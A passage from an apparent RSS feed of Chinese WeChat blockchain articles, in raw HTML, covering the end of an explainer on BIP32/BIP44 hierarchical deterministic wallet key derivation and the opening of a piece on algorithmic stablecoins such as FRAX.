176);"><strong>使用公钥</strong></span><span style="text-decoration: none solid rgb(84, 84, 84);letter-spacing: 1px;font-size: 16px;color: rgb(84, 84, 84);font-family: Cambria;"><span style="text-decoration: none solid rgb(84, 84, 84);">作为</span> HMAC-SHA512 的输入。</span></section><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="makefile"><code><span class="code-snippet_outer">Hardened Derivation：</span></code><code><span class="code-snippet_outer">child_private_key = HMAC-SHA512(Key=parent_chain_code, Data=(0x00||parent_private_key||index)) + parent_private_key</span></code><code><span class="code-snippet_outer">Non-Hardened Derivation：</span></code><code><span class="code-snippet_outer">child_private_key = HMAC-SHA512(Key=parent_chain_code, Data=(parent_private_key*secp256k1.G||index)) + parent_private_key</span></code></pre></section><section style="color: rgb(0, 0, 0);font-size: medium;text-align: justify;white-space: normal;margin: 16px 16px 24px;line-height: 1.75em;text-indent: 0em;"><span style="text-decoration: none solid rgb(84, 84, 84);letter-spacing: 1px;font-size: 16px;color: rgb(84, 84, 84);font-family: Cambria;"><o:p></o:p></span></section><section style="color: rgb(0, 0, 0);font-size: medium;text-align: justify;white-space: normal;margin: 16px 16px 24px;line-height: 1.75em;text-indent: 0em;"><span style="color: rgb(84, 84, 84);font-family: Cambria;font-size: 16px;letter-spacing: 1px;text-decoration: none solid rgb(84, 84, 84);">Hardened Derivation 解决了 Non-Hardened Derivation 存在的安全问题，不过这也意味着在对应的 index 下，父公钥将无法导出子公钥。</span></section><section style="color: rgb(0, 0, 0);font-size: medium;text-align: justify;white-space: normal;margin: 16px 16px 24px;line-height: 1.75em;text-indent: 0em;"><span style="color: rgb(84, 84, 84);font-family: Cambria;font-size: 16px;letter-spacing: 1px;text-decoration: none solid rgb(84, 84, 84);"><br/></span></section><section data-mpa-template="t" mpa-from-tpl="t"><section mpa-from-tpl="t"><section style="margin: 10px 0px;" mpa-from-tpl="t"><section style="padding-right: 30px;display: inline-block;font-size: 18px;height: 40px;line-height: 40px;border-bottom: 1px solid rgb(67, 46, 46);" mpa-from-tpl="t"> <strong> BIP 44</strong></section><section style="width: 50px;border-top: 3px solid rgb(67, 46, 46);" mpa-from-tpl="t"><br/></section></section></section></section><section style="color: rgb(0, 0, 0);font-size: medium;text-align: justify;white-space: normal;margin: 16px 16px 24px;line-height: 1.75em;text-indent: 0em;"><span style="font-size: 16px;letter-spacing: 1px;text-decoration: none solid rgb(84, 84, 84);"><span style="text-decoration: none solid rgb(84, 84, 84);color: rgb(84, 84, 84);"><span style="text-decoration: none solid rgb(84, 84, 84);font-family: Cambria;">BIP44 规定了每次推导时使用的 index 值，这些 index 串起来（使用 </span><span style="text-decoration: none solid rgb(84, 84, 84);font-family: Consolas;">/</span><span style="text-decoration: none solid rgb(84, 84, 84);font-family: Cambria;"> <span style="text-decoration: none solid rgb(84, 84, 84);">做分隔符</span> <span style="text-decoration: none solid rgb(84, 84, 84);">）称为</span> path，每一个 index 在 BIP44 中都有不同含义。BIP44 提案扩展了助记词钱包的使用范围，使得这套规范能够在不同的链，不同的应用中都能够使用。</span></span><span style="text-decoration: none solid rgb(84, 84, 84);font-family: Cambria;color: rgb(84, 84, 84);"><o:p></o:p></span></span></section><section style="margin: 16px 16px 24px;font-family: Cambria;font-size: 12pt;color: rgb(0, 0, 0);text-align: justify;white-space: normal;line-height: 1.75em;text-indent: 0em;"><span style="color: rgb(84, 84, 84);font-size: 16px;letter-spacing: 1px;text-decoration: none solid rgb(84, 84, 84);">BIP44 的 path 规范为：<o:p></o:p></span></section><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="nginx"><code><span class="code-snippet_outer">m / purpose&#39; / coin_type&#39; / account&#39; / change / address_index</span></code></pre></section><section style="margin: 16px 16px 24px;font-family: Cambria;font-size: 12pt;color: rgb(0, 0, 0);text-align: justify;white-space: normal;line-height: 1.75em;text-indent: 0em;"><span style="color: rgb(84, 84, 84);font-size: 16px;letter-spacing: 1px;text-decoration: none solid rgb(84, 84, 84);">• m：固定值<o:p></o:p></span></section><section style="margin: 16px 16px 24px;font-family: Cambria;font-size: 12pt;color: rgb(0, 0, 0);text-align: justify;white-space: normal;line-height: 1.75em;text-indent: 0em;"><span style="font-size: 16px;color: rgb(84, 84, 84);letter-spacing: 1px;text-decoration: none solid rgb(84, 84, 84);">• purpose：被设置为常量<span style="text-decoration: none solid rgb(84, 84, 84);font-family: Consolas;">44</span><span style="text-decoration: none solid rgb(84, 84, 84);font-family: Cambria;">，表示当前所使用的提案为</span> BIP44<o:p></o:p></span></section><section style="margin: 16px 16px 24px;font-family: Cambria;font-size: 12pt;color: rgb(0, 0, 0);text-align: justify;white-space: normal;line-height: 1.75em;text-indent: 0em;"><span style="color: rgb(84, 84, 84);font-size: 16px;letter-spacing: 1px;text-decoration: none solid rgb(84, 84, 84);">• coin_type：用于区分不同的币种（关于已注册的 coin_type，可参考：</span><span style="color: rgb(84, 84, 84);font-size: 16px;letter-spacing: 1px;">SLIP-0044 : Registered coin types for BIP-0044</span><span style="color: rgb(84, 84, 84);font-size: 16px;letter-spacing: 1px;text-decoration: none solid rgb(84, 84, 84);">）<o:p></o:p></span></section><section style="margin: 16px 16px 24px;font-family: Cambria;font-size: 12pt;color: rgb(0, 0, 0);text-align: justify;white-space: normal;line-height: 1.75em;text-indent: 0em;"><span style="color: rgb(84, 84, 84);font-size: 16px;letter-spacing: 1px;text-decoration: none solid rgb(84, 84, 84);">• account：表示账户索引，从 0 开始<o:p></o:p></span></section><section style="margin: 16px 16px 24px;font-family: Cambria;font-size: 12pt;color: rgb(0, 0, 0);text-align: justify;white-space: normal;line-height: 1.75em;text-indent: 0em;"><span style="color: rgb(84, 84, 84);font-size: 16px;letter-spacing: 1px;text-decoration: none solid rgb(84, 84, 84);">• change：为 0 表示“接收”地址（外部地址），为 1 表示“找零”地址（内部地址）<o:p></o:p></span></section><section style="margin: 16px 16px 24px;font-family: Cambria;font-size: 12pt;color: rgb(0, 0, 0);text-align: justify;white-space: normal;line-height: 1.75em;text-indent: 0em;"><span style="color: rgb(84, 84, 84);font-size: 16px;letter-spacing: 1px;text-decoration: none solid rgb(84, 84, 84);">• address_index：表示地址索引，从 0 开始</span></section><section style="text-align: justify;text-indent: 0pt;font-size: 12pt;font-family: Cambria;font-weight: normal;line-height: 1.75em;margin: 16px 16px 24px;"><span style="font-family: Cambria;letter-spacing: 1px;font-size: 16px;color: rgb(84, 84, 84);">对于比特币钱包而言，钱包的 path 为：</span></section><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="nginx"><code><span class="code-snippet_outer">m / 44&#39;/ 0&#39; / 0&#39; / 0 / 0</span></code></pre></section><section style="text-align: justify;text-indent: 0pt;font-size: 12pt;font-family: Cambria;font-weight: normal;line-height: 1.75em;margin: 16px 16px 24px;"><span style="font-family: Cambria;letter-spacing: 1px;font-size: 16px;color: rgb(84, 84, 84);">以太坊钱包的 path 为：</span></section><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="nginx"><code><span class="code-snippet_outer">m / 44&#39; / 60&#39; / 0&#39;/ 0 / 0</span></code></pre></section><section style="text-align: justify;text-indent: 0pt;word-break: break-all;font-size: 12pt;font-family: Cambria;font-weight: normal;line-height: 1.75em;margin: 16px 16px 24px;"><span style="color: rgb(84, 84, 84);letter-spacing: 1px;text-indent: 0pt;">如果 index 中有单引号字符（&#39;），则表示 Hardened Derivation，对应 index 需要额外加上 0x80000000 ，如 44&#39; 表示 0x8000002c ，60&#39;表示 0x8000003c。</span><br/></section><section style="text-align: justify;text-indent: 0pt;font-size: 12pt;font-family: Cambria;font-weight: normal;line-height: 1.75em;margin: 16px 16px 24px;"><span style="letter-spacing: 1px;font-family: Cambria;font-size: 16px;color: rgb(84, 84, 84);"><br/></span></section><section data-mpa-template="t" mpa-from-tpl="t"><section mpa-from-tpl="t"><section style="margin: 10px 0px;" mpa-from-tpl="t"><section style="padding-right: 30px;display: inline-block;font-size: 18px;height: 40px;line-height: 40px;border-bottom: 1px solid rgb(67, 46, 46);" mpa-from-tpl="t">  <strong>批量生成地址</strong></section><section style="width: 50px;border-top: 3px solid rgb(67, 46, 46);" mpa-from-tpl="t"><br/></section></section></section></section><section style="text-align: justify;text-indent: 0pt;font-size: 12pt;font-family: Cambria;font-weight: normal;line-height: 1.75em;margin: 16px 16px 24px;"><span style="letter-spacing: 1px;font-size: 16px;color: rgb(84, 84, 84);font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">通过一些第三方库，可以很方便的由助记词生成私钥以及地址。下图是由一组助记词生成前10个以太坊地址的示例：</span></section><section style="text-align: center;text-indent: 0pt;break-after: avoid;font-size: 12pt;font-family: Cambria;font-weight: normal;line-height: 1.75em;margin: 16px 16px 24px;"><span style="font-family: Cambria;letter-spacing: 1px;font-size: 16px;color: rgb(84, 84, 84);"><img class="rich_pages wxw-img" data-ratio="0.2910714285714286" style="width:553.8084106445312px;height:163.0px;" data-type="png" data-w="560" src="https://wechat2rss.xlab.app/img-proxy/?k=c854fc6c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fe9yMd8aXldfdtlKib4iaX4lSzWUuPKbf04iajYROdufOU10h6UaYjDfDrEU5CjmEd6Mvo7iaLBZ80E2TmPnNqkG0rQ%2F640%3Fwx_fmt%3Dpng"/></span></section><section style="text-align: justify;text-indent: 0pt;font-size: 12pt;font-family: Cambria;font-weight: normal;font-style: italic;line-height: 1.75em;margin: 16px 16px 24px;"><br/></section><section style="text-align: justify;text-indent: 0pt;font-size: 12pt;font-family: Cambria;font-weight: normal;font-style: italic;line-height: 1.75em;margin: 16px 16px 24px;"><br/></section><section data-mpa-template="t" mpa-from-tpl="t"><section style="margin-bottom: 24px;"><section data-mpa-category="模板" style="width: 100%;display: flex;justify-content: center;align-items: center;" data-mid="" mpa-from-tpl="t"><section style="display: flex;justify-content: flex-start;align-items: center;flex-direction: column;" data-mid="" mpa-from-tpl="t"><section style="display: flex;justify-content: center;align-items: center;margin-left: 42px;" data-mid="" mpa-from-tpl="t"><section style="text-align: left;" data-mid="" mpa-from-tpl="t"><p style="font-size: 16px;font-family: PingFangSC-Semibold, PingFang SC;font-weight: bold;color: #1E2C36;line-height: 22px;" data-mid="">References</p></section><section style="display: flex;justify-content: center;align-items: center;align-self: flex-end;margin-left: 4px;" data-mid="" mpa-from-tpl="t"><section style="width: 68px;height: 1px;background: #1E2C36;" data-mid="" mpa-from-tpl="t"><br mpa-from-tpl="t"/></section><section style="width: 9px;height: 9px;background: #940D0C;" data-mid="" mpa-from-tpl="t"><br mpa-from-tpl="t"/></section></section></section><section style="display: flex;justify-content: center;align-items: center;width: 100%;margin-top: 4px;margin-right: 22px;" data-mid="" mpa-from-tpl="t"><section style="width: 68px;height: 1px;background: #1E2C36;align-self: flex-start;margin-top: 6px;margin-right: 4px;" data-mid="" mpa-from-tpl="t"><br mpa-from-tpl="t"/></section><section style="text-align: center;" data-mid="" mpa-from-tpl="t"><p style="font-size: 16px;font-family: PingFangSC-Semibold, PingFang SC;font-weight: bold;color: #1E2C36;line-height: 22px;letter-spacing: 1px;" data-mid=""><span style="font-size: 17px;">参考</span><br/></p></section></section></section></section></section></section><p style="font-family: Cambria;font-size: 12pt;color: rgb(0, 0, 0);white-space: normal;margin: 8px 16px;text-align: left;line-height: 1.5em;"><br/></p><p style="font-family: Cambria;font-size: 12pt;color: rgb(0, 0, 0);white-space: normal;margin: 8px 16px;text-align: left;line-height: 1.5em;"><strong><span style="color: rgb(84, 84, 84);letter-spacing: 0.5px;font-size: 14px;">比特币多签钱包</span></strong></p><p style="font-family: Cambria;font-size: 12pt;color: rgb(0, 0, 0);white-space: normal;margin: 8px 16px;text-align: left;line-height: 1.5em;"><span style="color: rgb(84, 84, 84);letter-spacing: 0.5px;font-size: 14px;">[1]  <a href="https://blog.csdn.net/BitTribeLab/article/details/102696746" target="_blank">https://blog.csdn.net/BitTribeLab/article/details/102696746</a></span></p><p style="font-family: Cambria;font-size: 12pt;color: rgb(0, 0, 0);white-space: normal;margin: 8px 16px;text-align: left;line-height: 1.5em;"><span style="color: rgb(84, 84, 84);letter-spacing: 0.5px;font-size: 14px;"><span style="color: rgb(84, 84, 84);font-family: Cambria;">[2]  </span><a href="https://aaron67.cc/2018/12/29/bitcoin-transaction-p2ms-p2sh/" target="_blank">https://aaron67.cc/2018/12/29/bitcoin-transaction-p2ms-p2sh/</a></span></p><p style="font-family: Cambria;font-size: 12pt;color: rgb(0, 0, 0);white-space: normal;margin: 8px 16px;text-align: left;line-height: 1.5em;"><span style="color: rgb(84, 84, 84);letter-spacing: 0.5px;font-size: 14px;"><span style="color: rgb(84, 84, 84);font-family: Cambria;">[3]  </span><a href="https://www.youtube.com/watch?v=6Fa04MnURhw" target="_blank">https://www.youtube.com/watch?v=6Fa04MnURhw</a></span></p><p style="margin-left: 16px;margin-right: 16px;margin-bottom: 8px;text-align: left;line-height: 1.5em;"><strong><span style="color: rgb(84, 84, 84);font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.5px;font-size: 14px;">分层确定性钱包</span></strong></p><p style="margin-left: 16px;margin-right: 16px;text-align: left;margin-bottom: 8px;line-height: 1.5em;"><span style="color: rgb(84, 84, 84);font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.5px;font-size: 14px;">[1]  <a href="https://www.alibabacloud.com/blog/how-ethereum-bip-32-hardware-digital-wallet-works_597788" target="_blank">https://www.alibabacloud.com/blog/how-ethereum-bip-32-hardware-digital-wallet-works_597788</a></span></p><p style="margin-left: 16px;margin-right: 16px;text-align: left;margin-bottom: 8px;line-height: 1.5em;"><span style="color: rgb(84, 84, 84);font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.5px;font-size: 14px;">[2]  <a href="https://github.com/bitcoin/bips/blob/master/bip-0032.mediawik" target="_blank">https://github.com/bitcoin/bips/blob/master/bip-0032.mediawik</a></span></p><p style="margin-left: 16px;margin-right: 16px;text-align: left;margin-bottom: 8px;line-height: 1.5em;"><span style="color: rgb(84, 84, 84);font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.5px;font-size: 14px;">[3] <strong> </strong><a href="http://aandds.com/blog/mnemonic-hd-wallet.html" target="_blank">http://aandds.com/blog/mnemonic-hd-wallet.html</a></span></p><p style="margin-left: 16px;margin-right: 16px;text-align: left;margin-bottom: 8px;line-height: 1.5em;"><span style="color: rgb(84, 84, 84);font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.5px;font-size: 14px;">[4]  <a href="https://bitcoin.stackexchange.com/questions/62533/key-derivation-in-hd-wallets-using-the-extended-private-key-vs-hardened-derivati?rq=1" target="_blank">https://bitcoin.stackexchange.com/questions/62533/key-derivation-in-hd-wallets-using-the-extended-private-key-vs-hardened-derivati?rq=1</a></span></p><p style="margin-left: 16px;margin-right: 16px;text-align: left;margin-bottom: 8px;line-height: 1.5em;"><span style="color: rgb(84, 84, 84);font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.5px;font-size: 14px;">[5]  <a href="https://bitcoin.stackexchange.com/questions/87834/hardened-keys-vs-normal-keys-a-simpler-explanation" target="_blank">https://bitcoin.stackexchange.com/questions/87834/hardened-keys-vs-normal-keys-a-simpler-explanation</a></span></p><section style="text-align: justify;font-size: 12pt;font-family: Cambria;font-weight: normal;text-indent: -24pt;line-height: 1.75em;margin: 16px 16px 24px;"><br mpa-from-tpl="t"/></section><section data-mpa-template="t" mpa-from-tpl="t"><section data-mpa-template="t" data-mpa-template-id="111" data-mpa-category="模板" mpa-from-tpl="t"><section data-mpa-category="正文" style="width: 95%;margin: 0 auto;padding: 0 36px;" data-mid="" mpa-from-tpl="t"><section style="width: 100%;display: flex;flex-direction: column;justify-content: flex-start;align-items: center;" data-mid="" mpa-from-tpl="t"><p data-mid=""><br data-mid="" mpa-from-tpl="t"/></p><section style="display: flex;flex-direction: column;justify-content: flex-start;align-items: center;" data-mid="" mpa-from-tpl="t"><section style="display: flex;flex-direction: column;justify-content: flex-start;align-items: flex-start;" data-mid="" mpa-from-tpl="t"><p style="font-size: 16px;font-weight: 400;color: #333333;line-height: 23px;" data-mid="">「 往期文章 」</p></section></section><p data-mid=""><br data-mid="" mpa-from-tpl="t"/></p><section style="width: 100%;display: flex;flex-direction: column;justify-content: flex-start;align-items: center;" data-mid="" mpa-from-tpl="t"><p style="width: 100%;text-align: center;font-size: 14px;font-weight: 300;color: #333333;line-height: 20px;letter-spacing: 2px;padding: 12px 0;border-bottom: 1px dashed #333333;" data-mid=""><a target="_blank" href="http://mp.weixin.qq.com/s?__biz=MzkzODE2NjgyNQ==&amp;mid=2247490099&amp;idx=1&amp;sn=1c7bd29670a52d640e62cddbef2e14db&amp;chksm=c2850575f5f28c63a0a51c96820767d930feeca802b2d30fb57415ad55b2d9480bb487c136ee&amp;scene=21#wechat_redirect" textvalue="以太坊标准——EIP712" linktype="text" imgurl="" imgdata="null" data-itemshowtype="0" tab="innerlink" data-linktype="2">以太坊标准——EIP712</a></p><p style="width: 100%;text-align: center;font-size: 14px;font-weight: 300;color: #333333;line-height: 20px;letter-spacing: 2px;padding: 12px 0;border-bottom: 1px dashed #333333;" data-mid=""><a target="_blank" href="http://mp.weixin.qq.com/s?__biz=MzkzODE2NjgyNQ==&amp;mid=2247490054&amp;idx=1&amp;sn=faa8621631fcaf39d7e4b448b2cf2f35&amp;chksm=c2850540f5f28c56154b485927437f1377b1ac278f025ce0f08439f8229c4b32bcb73155f0f4&amp;scene=21#wechat_redirect" textvalue="走进区块链的第一步：mev浅析" linktype="text" imgurl="" imgdata="null" data-itemshowtype="0" tab="innerlink" data-linktype="2">走进区块链的第一步：mev浅析</a></p><p style="width: 100%;text-align: center;font-size: 14px;font-weight: 300;color: #333333;line-height: 20px;letter-spacing: 2px;padding: 12px 0;border-bottom: 1px dashed #333333;" data-mid=""><a target="_blank" href="http://mp.weixin.qq.com/s?__biz=MzkzODE2NjgyNQ==&amp;mid=2247495003&amp;idx=1&amp;sn=666b057bbef80321da916c81dfcad5d5&amp;chksm=c286f21df5f17b0b28c72d2639ff2b08321dfb93d90427effb0fbefb2d25e4cffa1081d5b385&amp;scene=21#wechat_redirect" textvalue="Unstable Stablecoins（上）" linktype="text" imgurl="" imgdata="null" data-itemshowtype="0" tab="innerlink" data-linktype="2">Unstable Stablecoins（上）</a></p></section><p data-mid=""><br/></p></section></section></section></section><section style="text-align: justify;text-indent: 0pt;font-size: 12pt;font-family: Cambria;font-weight: normal;line-height: 1.75em;margin: 16px 16px 24px;"><span style="font-family: Cambria;letter-spacing: 1px;font-size: 16px;color: rgb(84, 84, 84);"><br/></span></section>



<p><a href="2247496549">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=ed89d2b8&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzkzODE2NjgyNQ%3D%3D%26mid%3D2247496549%26idx%3D1%26sn%3Dd95aa6140d4c136a43c299c57a8be58b%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Wed, 07 Sep 2022 18:47:00 +0800</pubDate>
    </item>
    <item>
      <title>Unstable Stablecoins（下）</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzkzODE2NjgyNQ==&amp;mid=2247495136&amp;idx=1&amp;sn=7e3f5693b8c0c7e4fd2203027fa1f0aa</link>
      <description>Unstable Stablecoins 稳定币（下）</description>
      <content:encoded><![CDATA[<p>
原创 <span>零鉴科技</span> <span>2022-07-22 16:38</span> <span style="display: inline-block;">湖南</span>
</p>

<p>Unstable Stablecoins 稳定币（下）</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=364e48b3&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Fe9yMd8aXldcfOy00HkI4YkNB6IA7h8jMr0aeEkOE3gL7sRTYEmZ7pgbctiaIakqH52goeoHc3UPVwo1UqlCtYsQ%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<p style="text-align: center;margin: 16px;line-height: 1.75em;" data-mpa-powered-by="yiban.io"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.69140625" data-s="300,640" data-w="1280" data-type="jpeg" src="https://wechat2rss.xlab.app/img-proxy/?k=df2ae36e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Fe9yMd8aXldf24BFVhpvcNF1HjpEXaDdbXs0h48C4sK7s4HDyrcwW2luUCLVSLe3HficxFH6Pc1ERgkMwHDNweww%2F640%3Fwx_fmt%3Djpeg"/><br/></p><h2 style="text-align: center;margin: 16px;line-height: 1.75em;"><span style="letter-spacing: 0.5px;"><span style="font-size: 16px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(0, 122, 170);"><strong><span style="color: rgb(0, 122, 170);font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;font-weight: bold;">正文共8198字，预计阅读时间21分钟</span></strong></span><strong style="color: rgb(84, 84, 84);font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.5px;text-align: justify;"></strong></span></h2><h2 style="text-align: justify;margin: 16px;line-height: 1.75em;"><br/></h2><h2 style="text-align: justify;margin: 16px;line-height: 1.75em;"><span style="font-family: Cambria;font-size: 16px;color: rgb(84, 84, 84);letter-spacing: 0.5px;"><img class="rich_pages wxw-img" data-ratio="1" style="height: 20px !important;max-height: 20px !important;width: 20px !important;" data-w="64" src="https://wechat2rss.xlab.app/img-proxy/?k=04a21fb2&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fb96CibCt70iaajvl7fD4ZCicMcjhXMp1v6UibM134tIsO1j5yqHyNhh9arj090oAL7zGhRJRq6cFqFOlDZMleLl4pw%2F640%3Fwx_fmt%3Dpng"/>还没有看过上篇？点下方链接直达：</span></h2><p style="margin: 16px;line-height: 1.75em;"><span style="font-size: 16px;color: rgb(84, 84, 84);font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.5px;"><strong><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);font-size: 16px;font-weight: bold;"><a target="_blank" href="http://mp.weixin.qq.com/s?__biz=MzkzODE2NjgyNQ==&amp;mid=2247495003&amp;idx=1&amp;sn=666b057bbef80321da916c81dfcad5d5&amp;chksm=c286f21df5f17b0b28c72d2639ff2b08321dfb93d90427effb0fbefb2d25e4cffa1081d5b385&amp;scene=21#wechat_redirect" textvalue="Unstable Stablecoins（上）" linktype="text" imgurl="" imgdata="null" data-itemshowtype="0" tab="innerlink" data-linktype="2">Unstable Stablecoins（上）</a></span></strong></span></p><section style="margin-bottom: 16px;margin-top: 16px;line-height: 1.75em;"><section style="display: flex;justify-content: center;align-items: center;width: 100%;" data-mid="" mpa-from-tpl="t"><section style="display: flex;justify-content: center;align-items: center;width: 100%;" data-mid="" mpa-from-tpl="t"><section style="width: 289px;height: 13px;" data-mid="" mpa-from-tpl="t"><img class="rich_pages wxw-img" data-ratio="0.04498269896193772" data-w="" src="https://wechat2rss.xlab.app/img-proxy/?k=155add0f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FdB8siaunhHjrNHg8sYVBcWg4fWXg7xZgVCUqPjPl4JJq1icnoRc6gSlYKYgqxMhRuhMfmWR5VyVpE5wADeMwj5IA%2F640%3Fwx_fmt%3Dpng"/></section></section></section></section><section style="margin-bottom: 16px;margin-top: 16px;line-height: 1.75em;"><br/></section><section data-mpa-template="t" mpa-from-tpl="t"><section data-id="17827" data-type="lspecial06" data-md5="d6650" mpa-from-tpl="t"><section data-md5="d6650" mpa-from-tpl="t" style="background-image: url(&#34;https://mmbiz.qpic.cn/mmbiz_png/b96CibCt70iaZ7Bia3Wm91cEuWhERXfCYjTJZXgJxLPVYDTQswNwurxvXyG2nQPSYXFyhIhpJiamWR8EPUAVf3G9vA/640?wx_fmt=png&#34;);background-size: 100%;width: 40px;height: 40px;margin: 0px auto;background-repeat: no-repeat;"><section style="color:#595959;letter-spacing:1px;line-height:40px;text-align:center;" data-md5="d6650" mpa-from-tpl="t"><section style="font-size: 40px;padding: 0px;margin: 16px 0px;line-height: 1.75em;"><span style="letter-spacing: 0.5px;"><strong data-md5="d6650" mpa-from-tpl="t">4</strong> </span></section></section></section></section></section><p><br/></p><section data-mpa-template="t" mpa-from-tpl="t"><section data-role="paragraph" mpa-from-tpl="t"><section data-id="89817" mpa-from-tpl="t"><section data-id="us503369" mpa-from-tpl="t"><section style="width:100%;" data-width="100%" mpa-from-tpl="t"><section mpa-from-tpl="t" style="width: 200px;height: 46px;margin: 10px auto;background-image: url(&#34;https://mmbiz.qpic.cn/mmbiz_png/b96CibCt70iabwjyojLhA03PtxUnkNPREnbeZHiabsk7W91ViaiaV9SwOOPJXw3GB691VicCgoMWBQbLMbmQ9BuwE6YQ/640?wx_fmt=png&#34;);background-repeat: no-repeat;background-size: 100%;overflow: hidden;"><section style="width: 180px;height: 20px;margin-left: 10px;font-size: 16px;color: rgb(255, 255, 255);text-align: center;margin-bottom: 16px;margin-top: 16px;line-height: 1.75em;"><span style="letter-spacing: 2px;"><strong>算法支持的稳定币</strong></span><span style="letter-spacing: 0.5px;"></span></section></section></section><section style="clear: both;width: 100%;margin-bottom: 16px;margin-top: 16px;line-height: 1.75em;"><br/></section></section></section></section></section><section style="text-align: justify;margin: 16px;line-height: 1.75em;"><span style="font-family: Cambria;font-size: 16px;color: rgb(84, 84, 84);letter-spacing: 0.5px;">算法稳定币的最大特点就是完全的去中心化，并通过某种算法来维持稳定币与美元的锚定。</span></section><section style="text-align: justify;margin: 16px;line-height: 1.75em;"><span style="font-family: Cambria;font-size: 16px;color: rgb(84, 84, 84);letter-spacing: 0.5px;">其算法主要体现在：通过模拟现实中央银行货币政策职能，在稳定币价格高于锚定价格时增加市场供给，在稳定币价格低于锚定价格时后回收供给，以此维持稳定币价格的均衡。</span></section><section style="text-align: justify;margin: 16px;line-height: 1.75em;"><span style="font-family: Cambria;font-size: 16px;color: rgb(84, 84, 84);letter-spacing: 0.5px;">其实这里的算法一词，可以理解为金融模型，本质上算法稳定币是依托于市场和各种金融策略来维持其稳定性的。</span></section><h3 style="text-align: center;margin: 16px;line-height: 3em;"><span style="color: rgb(40, 104, 176);font-size: 20px;letter-spacing: 2px;"><strong style="color: rgb(40, 104, 176);font-size: 20px;letter-spacing: 0.5px;"><span style="letter-spacing: 2px;font-size: 20px;color: rgb(40, 104, 176);font-family: Calibri;"></span></strong></span><strong style="color: rgb(40, 104, 176);font-size: 20px;letter-spacing: 0.5px;"><span style="letter-spacing: 2px;font-family: Calibri;">FRAX</span></strong></h3><section style="text-align: justify;margin: 16px;line-height: 1.75em;"><span style="font-family: Cambria;font-size: 16px;color: rgb(84, 84, 84);letter-spacing: 0.5px;">FRAX是第一个采用混合算法的稳定币协议，目前部署在以太坊链上，通过社区进行共同管理。在UST崩盘后，FRAX成为“算法稳定币”中总市值最高的项目，在所有稳定币市值中排名第五。</span></section><section style="text-align: justify;margin: 16px;line-height: 1.75em;"><span style="font-family: Cambria;font-size: 16px;color: rgb(84, 84, 84);letter-spacing: 0.5px;">严格来说，FRAX并不是真正意义上的算法稳定币，更贴切的词是：部分数字货币支持的稳定币。</span></section><h4 style="text-align: justify;margin: 16px;line-height: 1.75em;"><span style="font-size: 16px;color: rgb(84, 84, 84);letter-spacing: 0.5px;"><strong><span style="color: rgb(84, 84, 84);font-size: 16px;font-family: Calibri;font-weight: bold;"><br mpa-from-tpl="t"/></span></strong></span></h4><section data-mpa-template="t" mpa-from-tpl="t"><section style="display: flex;justify-content: center;align-items: center;width: 100%;justify-content: flex-start;padding-left: 18px;padding-top: 2px;" data-mid="" mpa-from-tpl="t"><section style="display: flex;justify-content: flex-start;align-items: center;flex-direction: column;" data-mid="" mpa-from-tpl="t"><section style="width: 18px;height: 17px;align-self: flex-start;margin-left: 5px;margin-bottom: -21px;z-index: 1;" data-mid="" mpa-from-tpl="t"><img data-ratio="0.9444444444444444" style="display: block;" data-w="36" 